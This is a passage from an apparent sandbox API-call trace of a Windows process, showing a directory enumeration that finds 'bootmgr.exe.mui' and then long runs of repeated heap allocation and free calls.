ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.431] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.431] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.431] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.431] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.431] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.431] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.431] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.432] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.432] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.433] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.433] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.434] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.434] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.435] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.435] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.436] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.436] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.437] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.437] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.438] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.438] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 